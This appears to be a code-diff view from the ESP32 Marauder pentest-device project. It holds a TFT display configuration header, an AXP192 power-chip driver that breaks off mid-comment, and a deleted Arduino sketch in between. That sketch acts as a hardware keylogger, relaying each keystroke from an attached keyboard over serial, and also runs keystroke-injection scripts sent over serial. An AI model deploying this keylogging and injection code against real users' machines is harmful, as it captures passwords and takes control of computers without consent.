// setups and then easily select which setup file is used by the compiler.
//
// If this file is edited correctly then all the library example sketches should
// run without the need to make any more changes for a particular hardware setup!
// Note that some sketches are designed for a particular TFT pixel width/height
// ##################################################################################
//
// Section 1. Call up the right driver file and any options for it
//
// ##################################################################################
// Display type - only define if RPi display
//#define RPI_DRIVER
#define CGRAM_OFFSET
// Only define one driver, the other ones must be commented out
//#define ILI9341_DRIVER // OG Marauder
//#define ST7735_DRIVER // Marauder Mini // Define additional parameters below for this display
//#define ILI9163_DRIVER // Define additional parameters below for this display
//#define S6D02A1_DRIVER
//#define RPI_ILI9486_DRIVER // 20MHz maximum SPI
//#define HX8357D_DRIVER
//#define ILI9481_DRIVER
//#define ILI9486_DRIVER
//#define ILI9488_DRIVER // WARNING: Do not connect ILI9488 display SDO to MISO if other devices share the SPI bus (TFT SDO does NOT tristate when CS is high)
//#define ST7789_DRIVER // Full configuration option, define additional parameters below for this display
#define ST7789_2_DRIVER // Minimal configuration option, define additional parameters below for this display
//#define R61581_DRIVER
//#define RM68140_DRIVER
//#define ST7796_DRIVER
// Some displays support SPI reads via the MISO pin, other displays have a single
// bi-directional SDA pin and the library will try to read this via the MOSI line.
// To use the SDA line for reading data from the TFT uncomment the following line:
// #define TFT_SDA_READ // This option is for ESP32 ONLY, tested with ST7789 display only
// For ST7789 and ILI9341 ONLY, define the colour order IF the blue and red are swapped on your display
// Try ONE option at a time to find the correct colour order for your display
#define TFT_RGB_ORDER TFT_RGB // Colour order Red-Green-Blue
// #define TFT_RGB_ORDER TFT_BGR // Colour order Blue-Green-Red
// For M5Stack ESP32 module with integrated ILI9341 display ONLY, remove // in line below
// #define M5STACK
// For ST7789, ST7735 and ILI9163 ONLY, define the pixel width and height in portrait orientation
// #define TFT_WIDTH 80
#define TFT_WIDTH 135 // Marauder Mini
// #define TFT_WIDTH 240 // ST7789 240 x 240 and 240 x 320
// #define TFT_HEIGHT 160
#define TFT_HEIGHT 240 // Marauder Mini
// #define TFT_HEIGHT 240 // ST7789 240 x 240
// #define TFT_HEIGHT 320 // ST7789 240 x 320
// For ST7735 ONLY, define the type of display, originally this was based on the
// colour of the tab on the screen protector film but this is not always true, so try
// out the different options below if the screen does not display graphics correctly,
// e.g. colours wrong, mirror images, or tray pixels at the edges.
// Comment out ALL BUT ONE of these options for a ST7735 display driver, save this
// this User_Setup file, then rebuild and upload the sketch to the board again:
// #define ST7735_INITB
// #define ST7735_GREENTAB
// #define ST7735_GREENTAB2
// #define ST7735_GREENTAB3
// #define ST7735_GREENTAB128 // For 128 x 128 display
// #define ST7735_GREENTAB160x80 // For 160 x 80 display (BGR, inverted, 26 offset)
// #define ST7735_REDTAB
// #define ST7735_BLACKTAB
// #define ST7735_REDTAB160x80 // For 160 x 80 display with 24 pixel offset
// If colours are inverted (white shows as black) then uncomment one of the next
// 2 lines try both options, one of the options should correct the inversion.
// #define TFT_INVERSION_ON
// #define TFT_INVERSION_OFF
// If a backlight control signal is available then define the TFT_BL pin in Section 2
// below. The backlight will be turned ON when tft.begin() is called, but the library
// needs to know if the LEDs are ON with the pin HIGH or LOW. If the LEDs are to be
// driven with a PWM signal or turned OFF/ON then this must be handled by the user
// sketch. e.g. with digitalWrite(TFT_BL, LOW);
#define TFT_BACKLIGHT_ON LOW // HIGH or LOW are options
// ##################################################################################
//
// Section 2. Define the pins that are used to interface with the display here
//
// ##################################################################################
// We must use hardware SPI, a minimum of 3 GPIO pins is needed.
// Typical setup for ESP8266 NodeMCU ESP-12 is :
//
// Display SDO/MISO to NodeMCU pin D6 (or leave disconnected if not reading TFT)
// Display LED to NodeMCU pin VIN (or 5V, see below)
// Display SCK to NodeMCU pin D5
// Display SDI/MOSI to NodeMCU pin D7
// Display DC (RS/AO)to NodeMCU pin D3
// Display RESET to NodeMCU pin D4 (or RST, see below)
// Display CS to NodeMCU pin D8 (or GND, see below)
// Display GND to NodeMCU pin GND (0V)
// Display VCC to NodeMCU 5V or 3.3V
//
// The TFT RESET pin can be connected to the NodeMCU RST pin or 3.3V to free up a control pin
//
// The DC (Data Command) pin may be labeled AO or RS (Register Select)
//
// With some displays such as the ILI9341 the TFT CS pin can be connected to GND if no more
// SPI devices (e.g. an SD Card) are connected, in this case comment out the #define TFT_CS
// line below so it is NOT defined. Other displays such at the ST7735 require the TFT CS pin
// to be toggled during setup, so in these cases the TFT_CS line must be defined and connected.
//
// The NodeMCU D0 pin can be used for RST
//
//
// Note: only some versions of the NodeMCU provide the USB 5V on the VIN pin
// If 5V is not available at a pin you can use 3.3V but backlight brightness
// will be lower.
// ###### EDIT THE PIN NUMBERS IN THE LINES FOLLOWING TO SUIT YOUR ESP8266 SETUP ######
// For NodeMCU - use pin numbers in the form PIN_Dx where Dx is the NodeMCU pin designation
//#define TFT_CS PIN_D8 // Chip select control pin D8
//#define TFT_DC PIN_D3 // Data Command control pin
//#define TFT_RST PIN_D4 // Reset pin (could connect to NodeMCU RST, see next line)
//#define TFT_RST -1 // Set TFT_RST to -1 if the display RESET is connected to NodeMCU RST or 3.3V
//#define TFT_BL PIN_D1 // LED back-light (only for ST7789 with backlight control pin)
//#define TOUCH_CS PIN_D2 // Chip select pin (T_CS) of touch screen
//#define TFT_WR PIN_D2 // Write strobe for modified Raspberry Pi TFT only
// ###### FOR ESP8266 OVERLAP MODE EDIT THE PIN NUMBERS IN THE FOLLOWING LINES ######
// Overlap mode shares the ESP8266 FLASH SPI bus with the TFT so has a performance impact
// but saves pins for other functions. It is best not to connect MISO as some displays
// do not tristate that line wjen chip select is high!
// On NodeMCU 1.0 SD0=MISO, SD1=MOSI, CLK=SCLK to connect to TFT in overlap mode
// On NodeMCU V3 S0 =MISO, S1 =MOSI, S2 =SCLK
// In ESP8266 overlap mode the following must be defined
//#define TFT_SPI_OVERLAP
// In ESP8266 overlap mode the TFT chip select MUST connect to pin D3
//#define TFT_CS PIN_D3
//#define TFT_DC PIN_D5 // Data Command control pin
//#define TFT_RST PIN_D4 // Reset pin (could connect to NodeMCU RST, see next line)
//#define TFT_RST -1 // Set TFT_RST to -1 if the display RESET is connected to NodeMCU RST or 3.3V
// ###### EDIT THE PIN NUMBERS IN THE LINES FOLLOWING TO SUIT YOUR ESP32 SETUP ######
// For ESP32 Dev board (only tested with ILI9341 display)
// The hardware SPI can be mapped to any pins
// Marauder Mini
#define TFT_CS 5 // Chip select control pin D8
#define TFT_DC 23 // Data Command control pin
#define TFT_RST 18 // Reset pin (could connect to NodeMCU RST, see next line)
#define TOUCH_CS 10
//#define TFT_MISO 19
#define TFT_MOSI 15
#define TFT_SCLK 13
#define TFT_BL 10
/*
// ESP32 Marauder
#define TFT_MISO 19
#define TFT_MOSI 23
#define TFT_SCLK 18
#define TFT_CS 17 // Chip select control pin
#define TFT_DC 16 // Data Command control pin
#define TFT_RST 5 // Reset pin (could connect to RST pin)
//#define TFT_RST -1 // Set TFT_RST to -1 if display RESET is connected to ESP32 board RST
#define TFT_BL 32 // LED back-light (only for ST7789 with backlight control pin)
#define TOUCH_CS 21 // Chip select pin (T_CS) of touch screen
*/
/////////////////////////////
// ESP32 Centauri
/*
#define TFT_MISO 19
#define TFT_MOSI 23
#define TFT_SCLK 18
#define TFT_CS 27 // Chip select control pin
#define TFT_DC 26 // Data Command control pin
#define TFT_RST 5 // Reset pin (could connect to RST pin)
//#define TFT_RST -1 // Set TFT_RST to -1 if display RESET is connected to ESP32 board RST
#define TFT_BL 32 // LED back-light (only for ST7789 with backlight control pin)
#define TOUCH_CS 21 // Chip select pin (T_CS) of touch screen
*/
/////////////////////////////
//#define TFT_WR 22 // Write strobe for modified Raspberry Pi TFT only
// For the M5Stack module use these #define lines
//#define TFT_MISO 19
//#define TFT_MOSI 23
//#define TFT_SCLK 18
//#define TFT_CS 14 // Chip select control pin
//#define TFT_DC 27 // Data Command control pin
//#define TFT_RST 33 // Reset pin (could connect to Arduino RESET pin)
//#define TFT_BL 32 // LED back-light (required for M5Stack)
// ###### EDIT THE PINs BELOW TO SUIT YOUR ESP32 PARALLEL TFT SETUP ######
// The library supports 8 bit parallel TFTs with the ESP32, the pin
// selection below is compatible with ESP32 boards in UNO format.
// Wemos D32 boards need to be modified, see diagram in Tools folder.
// Only ILI9481 and ILI9341 based displays have been tested!
// Parallel bus is only supported on ESP32
// Uncomment line below to use ESP32 Parallel interface instead of SPI
//#define ESP32_PARALLEL
// The ESP32 and TFT the pins used for testing are:
//#define TFT_CS 33 // Chip select control pin (library pulls permanently low
//#define TFT_DC 15 // Data Command control pin - must use a pin in the range 0-31
//#define TFT_RST 32 // Reset pin, toggles on startup
//#define TFT_WR 4 // Write strobe control pin - must use a pin in the range 0-31
//#define TFT_RD 2 // Read strobe control pin
//#define TFT_D0 12 // Must use pins in the range 0-31 for the data bus
//#define TFT_D1 13 // so a single register write sets/clears all bits.
//#define TFT_D2 26 // Pins can be randomly assigned, this does not affect
//#define TFT_D3 25 // TFT screen update performance.
//#define TFT_D4 17
//#define TFT_D5 16
//#define TFT_D6 27
//#define TFT_D7 14
// ##################################################################################
//
// Section 3. Define the fonts that are to be used here
//
// ##################################################################################
// Comment out the #defines below with // to stop that font being loaded
// The ESP8366 and ESP32 have plenty of memory so commenting out fonts is not
// normally necessary. If all fonts are loaded the extra FLASH space required is
// about 17Kbytes. To save FLASH space only enable the fonts you need!
#define LOAD_GLCD // Font 1. Original Adafruit 8 pixel font needs ~1820 bytes in FLASH
#define LOAD_FONT2 // Font 2. Small 16 pixel high font, needs ~3534 bytes in FLASH, 96 characters
#define LOAD_FONT4 // Font 4. Medium 26 pixel high font, needs ~5848 bytes in FLASH, 96 characters
#define LOAD_FONT6 // Font 6. Large 48 pixel font, needs ~2666 bytes in FLASH, only characters 1234567890:-.apm
#define LOAD_FONT7 // Font 7. 7 segment 48 pixel font, needs ~2438 bytes in FLASH, only characters 1234567890:-.
#define LOAD_FONT8 // Font 8. Large 75 pixel font needs ~3256 bytes in FLASH, only characters 1234567890:-.
//#define LOAD_FONT8N // Font 8. Alternative to Font 8 above, slightly narrower, so 3 digits fit a 160 pixel TFT
#define LOAD_GFXFF // FreeFonts. Include access to the 48 Adafruit_GFX free fonts FF1 to FF48 and custom fonts
// Comment out the #define below to stop the SPIFFS filing system and smooth font code being loaded
// this will save ~20kbytes of FLASH
#define SMOOTH_FONT
// ##################################################################################
//
// Section 4. Other options
//
// ##################################################################################
// Define the SPI clock frequency, this affects the graphics rendering speed. Too
// fast and the TFT driver will not keep up and display corruption appears.
// With an ILI9341 display 40MHz works OK, 80MHz sometimes fails
// With a ST7735 display more than 27MHz may not work (spurious pixels and lines)
// With an ILI9163 display 27 MHz works OK.
// #define SPI_FREQUENCY 1000000
//#define SPI_FREQUENCY 5000000
// #define SPI_FREQUENCY 10000000
#define SPI_FREQUENCY 20000000
//#define SPI_FREQUENCY 27000000 // Marauder // Actually sets it to 26.67MHz = 80/3
// #define SPI_FREQUENCY 40000000
// #define SPI_FREQUENCY 80000000
// Optional reduced SPI frequency for reading TFT
#define SPI_READ_FREQUENCY 20000000
// The XPT2046 requires a lower SPI clock rate of 2.5MHz so we define that here:
#define SPI_TOUCH_FREQUENCY 2500000
// The ESP32 has 2 free SPI ports i.e. VSPI and HSPI, the VSPI is the default.
// If the VSPI port is in use and pins are not accessible (e.g. TTGO T-Beam)
// then uncomment the following line:
//#define USE_HSPI_PORT
// Comment out the following #define if "SPI Transactions" do not need to be
// supported. When commented out the code size will be smaller and sketches will
// run slightly faster, so leave it commented out unless you need it!
// Transaction support is needed to work with SD library but not needed with TFT_SdFat
// Transaction support is required if other SPI devices are connected.
// Transactions are automatically enabled by the library for an ESP32 (to use HAL mutex)
// so changing it here has no effect
// #define SUPPORT_TRANSACTIONS

View File

@@ -1,459 +0,0 @@
#include <hidboot.h>
#include <usbhub.h>
#include "Keyboard.h"
#define Serial Serial1
// Satisfy the IDE, which needs to see the include statment in the ino too.
#ifdef dobogusinclude
#include <spi4teensy3.h>
#include <SPI.h>
#endif
#include <SPI.h>
#include <SD.h>
#define CAPS_LOCK 0x39
#define NUM_LOCK 0x53
#define SCROLL_LOCK 0x47
#define PRINT_SCREEN 0x46
#define NUM_1 0x59
#define NUM_2 0x5A
#define NUM_3 0x5B
#define NUM_4 0x5C
#define NUM_5 0x5D
#define NUM_6 0x5E
#define NUM_7 0x5F
#define NUM_8 0x60
#define NUM_9 0x61
#define NUM_0 0x62
#define KEY_CAPS_LOCK 0x01
#define KEY_NUM_LOCK 0x02
#define KEY_SCROLL_LOCK 0x04
#define KEY_PRINT_SCREEN 0x05
#define KEY_NUM_1 0x31
#define KEY_NUM_2 0x32
#define KEY_NUM_3 0x33
#define KEY_NUM_4 0x34
#define KEY_NUM_5 0x35
#define KEY_NUM_6 0x36
#define KEY_NUM_7 0x37
#define KEY_NUM_8 0x38
#define KEY_NUM_9 0x39
#define KEY_NUM_0 0x30
String bufferStr = "";
String last = "";
int defaultDelay = 0;
bool shift = false;
bool num_lock = false; // false is working half way
USB Usb;
HIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKeyboard(&Usb);
uint32_t next_time;
class KbdRptParser : public KeyboardReportParser{
public:
uint8_t _parse(uint8_t key);
String _getChar(uint8_t key);
protected:
void OnControlKeysChanged(uint8_t before, uint8_t after);
void OnKeyDown (uint8_t mod, uint8_t key);
void OnKeyUp (uint8_t mod, uint8_t key);
void OnKeyPressed(uint8_t key);
void _press(uint8_t key);
void _release(uint8_t key);
};
void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key){
digitalWrite(LED_BUILTIN, HIGH);
int parsedKey = _parse(key);
if(parsedKey == key){
uint8_t c = OemToAscii(mod, key);
OnKeyPressed(c);
if(c != 0x20 && c != 0x00) _press(c);
else _press(key);
}else _press(parsedKey);
digitalWrite(LED_BUILTIN, LOW);
}
void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key){
int parsedKey = _parse(key);
if(parsedKey == key){
uint8_t c = OemToAscii(mod, key);
OnKeyPressed(c);
if(c != 0x20 && c != 0x00){
_release(c);
Serial.print((char)c);
}
else{
_release(key);
Serial.print("0x");
Serial.print(key, HEX);
}
}else{
_release(parsedKey);
Serial.print(_getChar(key));
}
}
void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
MODIFIERKEYS beforeMod;
*((uint8_t*)&beforeMod) = before;
MODIFIERKEYS afterMod;
*((uint8_t*)&afterMod) = after;
//left
if(beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl){
if(afterMod.bmLeftCtrl) Keyboard.press(KEY_LEFT_CTRL);
else Keyboard.release(KEY_LEFT_CTRL);
Serial.print("<ctrl "+(String)afterMod.bmLeftCtrl+">");
}
if(beforeMod.bmLeftShift != afterMod.bmLeftShift){
if(afterMod.bmLeftShift) Keyboard.press(KEY_LEFT_SHIFT);
else Keyboard.release(KEY_LEFT_SHIFT);
shift = afterMod.bmLeftShift;
//Serial.print("<shift "+(String)afterMod.bmLeftShift+">");
}
if(beforeMod.bmLeftAlt != afterMod.bmLeftAlt){
if(afterMod.bmLeftAlt) Keyboard.press(KEY_LEFT_ALT);
else Keyboard.release(KEY_LEFT_ALT);
Serial.print("<alt "+(String)afterMod.bmLeftAlt+">");
}
if(beforeMod.bmLeftGUI != afterMod.bmLeftGUI){
if(afterMod.bmLeftGUI) Keyboard.press(KEY_LEFT_GUI);
else Keyboard.release(KEY_LEFT_GUI);
Serial.print("<gui "+(String)afterMod.bmLeftGUI+">");
}
//right
if(beforeMod.bmRightCtrl != afterMod.bmRightCtrl){
if(afterMod.bmRightCtrl) Keyboard.press(KEY_RIGHT_CTRL);
else Keyboard.release(KEY_RIGHT_CTRL);
Serial.print("<ctrl "+(String)afterMod.bmRightCtrl+">");
}
if(beforeMod.bmRightShift != afterMod.bmRightShift){
if(afterMod.bmRightShift) Keyboard.press(KEY_RIGHT_SHIFT);
else Keyboard.release(KEY_RIGHT_SHIFT);
shift = afterMod.bmLeftShift;
//Serial.print("<shift "+(String)afterMod.bmRightShift+">");
}
if(beforeMod.bmRightAlt != afterMod.bmRightAlt){
if(afterMod.bmRightAlt) Keyboard.press(KEY_RIGHT_ALT);
else Keyboard.release(KEY_RIGHT_ALT);
Serial.print("<alt "+(String)afterMod.bmRightAlt+">");
}
if(beforeMod.bmRightGUI != afterMod.bmRightGUI){
if(afterMod.bmRightGUI) Keyboard.press(KEY_RIGHT_GUI);
else Keyboard.release(KEY_RIGHT_GUI);
Serial.print("<gui "+(String)afterMod.bmRightGUI+">");
}
}
void KbdRptParser::OnKeyPressed(uint8_t key){
/*Serial.print("ASCII: \"");
Serial.print((char)key);
Serial.print("\" = 0x");
Serial.print(key, HEX);
Serial.print("; ");*/
};
uint8_t KbdRptParser::_parse(uint8_t key){
/*
Serial.print("0x");
Serial.print(key, HEX);
Serial.print(" = ");*/
switch(key){
case CAPS_LOCK: return KEY_CAPS_LOCK; break; // CAPS
case NUM_LOCK: return KEY_NUM_LOCK; break; // NUM LOCK
case SCROLL_LOCK: return KEY_SCROLL_LOCK; break; // SCROLL LOCK
case PRINT_SCREEN: return KEY_PRINT_SCREEN; break; // PRINT SCREEN
case NUM_1 : if (!num_lock) return KEY_NUM_1; break;
case NUM_2 : if (!num_lock) return KEY_NUM_2; break;
case NUM_3 : if (!num_lock) return KEY_NUM_3; break;
case NUM_4 : if (!num_lock) return KEY_NUM_4; break;
case NUM_5 : if (!num_lock) return KEY_NUM_5; break;
case NUM_6 : if (!num_lock) return KEY_NUM_6; break;
case NUM_7 : if (!num_lock) return KEY_NUM_7; break;
case NUM_8 : if (!num_lock) return KEY_NUM_8; break;
case NUM_9 : if (!num_lock) return KEY_NUM_9; break;
case NUM_0 : if (!num_lock) return KEY_NUM_0; break;
case 0x2C: return 0x20; break; // SPACE
case 40: return KEY_RETURN; break;
case 41: return KEY_ESC; break;
case 42: return KEY_BACKSPACE; break;
case 43: return KEY_TAB; break;
case 58: return KEY_F1; break;
case 59: return KEY_F2; break;
case 60: return KEY_F3; break;
case 61: return KEY_F4; break;
case 62: return KEY_F5; break;
case 63: return KEY_F6; break;
case 64: return KEY_F7; break;
case 65: return KEY_F8; break;
case 66: return KEY_F9; break;
case 67: return KEY_F10; break;
case 68: return KEY_F11; break;
case 69: return KEY_F12; break;
case 73: return KEY_INSERT; break;
case 74: return KEY_HOME; break;
case 75: return KEY_PAGE_UP; break;
case 76: return KEY_DELETE; break;
case 77: return KEY_END; break;
case 78: return KEY_PAGE_DOWN; break;
case 79: return KEY_RIGHT_ARROW; break;
case 80: return KEY_LEFT_ARROW; break;
case 81: return KEY_DOWN_ARROW; break;
case 82: return KEY_UP_ARROW; break;
case 88: return KEY_RETURN; break;
//=====[DE-Keyboard]=====//
case 0x64: return 236; break; // <
case 0x32: return 92; break; // #
//======================//
default: {
//Serial.print(" N/A ");
return key;
}
}
}
String KbdRptParser::_getChar(uint8_t key){
switch(key){
case CAPS_LOCK: return "<CAPS_LOCK>"; break; // CAPS
case NUM_LOCK: return "<NUM_LOCK>"; break; // NUM LOCK
case SCROLL_LOCK: return "<SCROLL_LOCK>"; break; // SCROLL LOCK
case PRINT_SCREEN: return "<PRINT_SCREEN>"; break; // PRINT SCREEN
//case NUM_1 : if (num_lock) return "<NUM_1>"; break;
//case NUM_2 : if (num_lock) return "<NUM_2>"; break;
//case NUM_3 : if (num_lock) return "<NUM_3>"; break;
//case NUM_4 : if (num_lock) return "<NUM_4>"; break;
//case NUM_5 : if (num_lock) return "<NUM_5>"; break;
//case NUM_6 : if (num_lock) return "<NUM_6>"; break;
//case NUM_7 : if (num_lock) return "<NUM_7>"; break;
//case NUM_8 : if (num_lock) return "<NUM_8>"; break;
//case NUM_9 : if (num_lock) return "<NUM_9>"; break;
//case NUM_0 : if (num_lock) return "<NUM_0>"; break;
case 0x2C: return " "; break;
case 40: return "<RETURN>\n"; break;
case 41: return "<ESC>\n"; break;
case 42: return "<BACKSPCAE>"; break;
case 43: return "<TAB>\n"; break;
case 58: return "<F1>\n"; break;
case 59: return "<F2>\n"; break;
case 60: return "<F3>\n"; break;
case 61: return "<F4>\n"; break;
case 62: return "<F5>\n"; break;
case 63: return "<F6>\n"; break;
case 64: return "<F7>\n"; break;
case 65: return "<F8>\n"; break;
case 66: return "<F9>\n"; break;
case 67: return "<F10>\n"; break;
case 68: return "<F11>\n"; break;
case 69: return "<F12>\n"; break;
case 73: return "<INSERT>"; break;
case 74: return "<HOME>\n"; break;
case 75: return "<PAGE_UP>\n"; break;
case 76: return "<DELETE>"; break;
case 77: return "<END>\n"; break;
case 78: return "<PAGE_DOWN>\n"; break;
case 79: return "<RIGHT_ARROW>\n"; break;
case 80: return "<LEFT_ARROW>\n"; break;
case 81: return "<DOWN_ARROW>\n"; break;
case 82: return "<UP_ARROW>\n"; break;
case 88: return "<RETURN>\n"; break;
//=====[DE-Keyboard]=====//
case 0x64: {
if(shift) return "<";
else return ">";
break;
}
case 0x32:{
if(shift) return "'";
else return "#";
break;
}
//======================//
default: {
return "";
}
}
}
void KbdRptParser::_press(uint8_t key){
/*Serial.print("0x");
Serial.print(key, HEX);
Serial.println(" DOWN");*/
Keyboard.press(key);
}
void KbdRptParser::_release(uint8_t key){
/*Serial.print("0x");
Serial.print(key, HEX);
Serial.println(" UP");
Serial.println();*/
Keyboard.release(key);
}
KbdRptParser parser;
void Line(String _line)
{
int firstSpace = _line.indexOf(" ");
if(firstSpace == -1) Press(_line);
else if(_line.substring(0,firstSpace) == "STRING"){
for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line[i]);
}
else if(_line.substring(0,firstSpace) == "DELAY"){
int delaytime = _line.substring(firstSpace + 1).toInt();
delay(delaytime);
}
else if(_line.substring(0,firstSpace) == "DEFAULTDELAY") defaultDelay = _line.substring(firstSpace + 1).toInt();
else if(_line.substring(0,firstSpace) == "REM"){} //nothing :/
else if(_line.substring(0,firstSpace) == "REPLAY") {
int replaynum = _line.substring(firstSpace + 1).toInt();
while(replaynum)
{
Line(last);
--replaynum;
}
} else{
String remain = _line;
while(remain.length() > 0){
int latest_space = remain.indexOf(" ");
if (latest_space == -1){
Press(remain);
remain = "";
}
else{
Press(remain.substring(0, latest_space));
remain = remain.substring(latest_space + 1);
}
delay(5);
}
}
Keyboard.releaseAll();
delay(defaultDelay);
}
void Press(String b){
if(b.length() == 1) Keyboard.press(char(b[0]));
else if (b.equals("ENTER")) Keyboard.press(KEY_RETURN);
else if (b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL);
else if (b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT);
else if (b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT);
else if (b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI);
else if (b.equals("UP") || b.equals("UPARROW")) Keyboard.press(KEY_UP_ARROW);
else if (b.equals("DOWN") || b.equals("DOWNARROW")) Keyboard.press(KEY_DOWN_ARROW);
else if (b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW);
else if (b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW);
else if (b.equals("DELETE")) Keyboard.press(KEY_DELETE);
else if (b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP);
else if (b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN);
else if (b.equals("HOME")) Keyboard.press(KEY_HOME);
else if (b.equals("ESC")) Keyboard.press(KEY_ESC);
else if (b.equals("BACKSPACE")) Keyboard.press(KEY_BACKSPACE);
else if (b.equals("INSERT")) Keyboard.press(KEY_INSERT);
else if (b.equals("TAB")) Keyboard.press(KEY_TAB);
else if (b.equals("END")) Keyboard.press(KEY_END);
else if (b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK);
else if (b.equals("F1")) Keyboard.press(KEY_F1);
else if (b.equals("F2")) Keyboard.press(KEY_F2);
else if (b.equals("F3")) Keyboard.press(KEY_F3);
else if (b.equals("F4")) Keyboard.press(KEY_F4);
else if (b.equals("F5")) Keyboard.press(KEY_F5);
else if (b.equals("F6")) Keyboard.press(KEY_F6);
else if (b.equals("F7")) Keyboard.press(KEY_F7);
else if (b.equals("F8")) Keyboard.press(KEY_F8);
else if (b.equals("F9")) Keyboard.press(KEY_F9);
else if (b.equals("F10")) Keyboard.press(KEY_F10);
else if (b.equals("F11")) Keyboard.press(KEY_F11);
else if (b.equals("F12")) Keyboard.press(KEY_F12);
else if (b.equals("SPACE")) Keyboard.press(' ');
//else Serial.println("not found :'"+b+"'("+String(b.length())+")");
}
void setup()
{
Serial.begin(115200);
//Serial1.begin(115200);
Keyboard.begin();
delay(2000);
pinMode(LED_BUILTIN, OUTPUT);
// Turn signal LED off
digitalWrite(LED_BUILTIN, LOW);
//Serial1.println("\n\nLogging keys...\n");
/*
for(int i=0;i<256;i++){
int key = parser._parse(i);
if(key == i){
Keyboard.print((String)i+" ");
Keyboard.write(i);
delay(200);
Keyboard.write(KEY_RETURN);
}
}*/
if(Usb.Init() == -1) Serial.println("OSC did not start.");
delay(200);
next_time = millis() + 5000;
HidKeyboard.SetReportParser(0, &parser);
}
void loop(){
Usb.Task();
if(Serial.available()) {
bufferStr = Serial.readStringUntil("END");
//Serial.println(bufferStr);
}
if(bufferStr.length() > 0){
bufferStr.replace("\r","\n");
bufferStr.replace("\n\n","\n");
while(bufferStr.length() > 0){
int latest_return = bufferStr.indexOf("\n");
if(latest_return == -1){
//Serial.println("run: "+bufferStr);
Line(bufferStr);
bufferStr = "";
} else{
//Serial.println("run: '"+bufferStr.substring(0, latest_return)+"'");
Line(bufferStr.substring(0, latest_return));
last=bufferStr.substring(0, latest_return);
bufferStr = bufferStr.substring(latest_return + 1);
}
}
bufferStr = "";
Serial.write(0x99);
//Serial.println("done");
}
}

435
esp32_marauder/AXP192.cpp Normal file
View File

@@ -0,0 +1,435 @@
#include "AXP192.h"
AXP192::AXP192() {
}
void AXP192::begin(void) {
Wire1.begin(21, 22);
Wire1.setClock(400000);
// Set LDO2 & LDO3(TFT_LED & TFT) 3.0V
Write1Byte(0x28, 0xcc);
// Set ADC to All Enable
Write1Byte(0x82, 0xff);
// Bat charge voltage to 4.2, Current 100MA
Write1Byte(0x33, 0xc0);
// Enable Bat,ACIN,VBUS,APS adc
Write1Byte(0x82, 0xff);
// Enable Ext, LDO2, LDO3, DCDC1
Write1Byte(0x12, Read8bit(0x12) | 0x4D);
// 128ms power on, 4s power off
Write1Byte(0x36, 0x0C);
// Set RTC voltage to 3.3V
Write1Byte(0x91, 0xF0);
// Set GPIO0 to LDO
Write1Byte(0x90, 0x02);
// Disable vbus hold limit
Write1Byte(0x30, 0x80);
// Set temperature protection
Write1Byte(0x39, 0xfc);
// Enable RTC BAT charge
Write1Byte(0x35, 0xa2);
// Enable bat detection
Write1Byte(0x32, 0x46);
// ScreenBreath(80);
}
void AXP192::Write1Byte(uint8_t Addr, uint8_t Data) {
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.write(Data);
Wire1.endTransmission();
}
uint8_t AXP192::Read8bit(uint8_t Addr) {
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.endTransmission();
Wire1.requestFrom(0x34, 1);
return Wire1.read();
}
uint16_t AXP192::Read12Bit(uint8_t Addr) {
uint16_t Data = 0;
uint8_t buf[2];
ReadBuff(Addr, 2, buf);
Data = ((buf[0] << 4) + buf[1]); //
return Data;
}
uint16_t AXP192::Read13Bit(uint8_t Addr) {
uint16_t Data = 0;
uint8_t buf[2];
ReadBuff(Addr, 2, buf);
Data = ((buf[0] << 5) + buf[1]); //
return Data;
}
uint16_t AXP192::Read16bit(uint8_t Addr) {
uint16_t ReData = 0;
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.endTransmission();
Wire1.requestFrom(0x34, 2);
for (int i = 0; i < 2; i++) {
ReData <<= 8;
ReData |= Wire1.read();
}
return ReData;
}
uint32_t AXP192::Read24bit(uint8_t Addr) {
uint32_t ReData = 0;
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.endTransmission();
Wire1.requestFrom(0x34, 3);
for (int i = 0; i < 3; i++) {
ReData <<= 8;
ReData |= Wire1.read();
}
return ReData;
}
uint32_t AXP192::Read32bit(uint8_t Addr) {
uint32_t ReData = 0;
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.endTransmission();
Wire1.requestFrom(0x34, 4);
for (int i = 0; i < 4; i++) {
ReData <<= 8;
ReData |= Wire1.read();
}
return ReData;
}
void AXP192::ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff) {
Wire1.beginTransmission(0x34);
Wire1.write(Addr);
Wire1.endTransmission();
Wire1.requestFrom(0x34, (int)Size);
for (int i = 0; i < Size; i++) {
*(Buff + i) = Wire1.read();
}
}
void AXP192::ScreenBreath(int brightness) {
if (brightness > 100 || brightness < 0) return;
int vol = map(brightness, 0, 100, 2500, 3200);
vol = (vol < 1800) ? 0 : (vol - 1800) / 100;
uint8_t buf = Read8bit(0x28);
Write1Byte(0x28, ((buf & 0x0f) | ((uint16_t)vol << 4)));
}
void AXP192::ScreenSwitch(bool state) {
uint8_t brightness;
if (state == false) {
brightness = 0;
} else if (state == true) {
brightness = 12;
}
uint8_t buf = Read8bit(0x28);
Write1Byte(0x28, ((buf & 0x0f) | (brightness << 4)));
}
bool AXP192::GetBatState() {
if (Read8bit(0x01) | 0x20)
return true;
else
return false;
}
//---------coulombcounter_from_here---------
// enable: void EnableCoulombcounter(void);
// disable: void DisableCOulombcounter(void);
// stop: void StopCoulombcounter(void);
// clear: void ClearCoulombcounter(void);
// get charge data: uint32_t GetCoulombchargeData(void);
// get discharge data: uint32_t GetCoulombdischargeData(void);
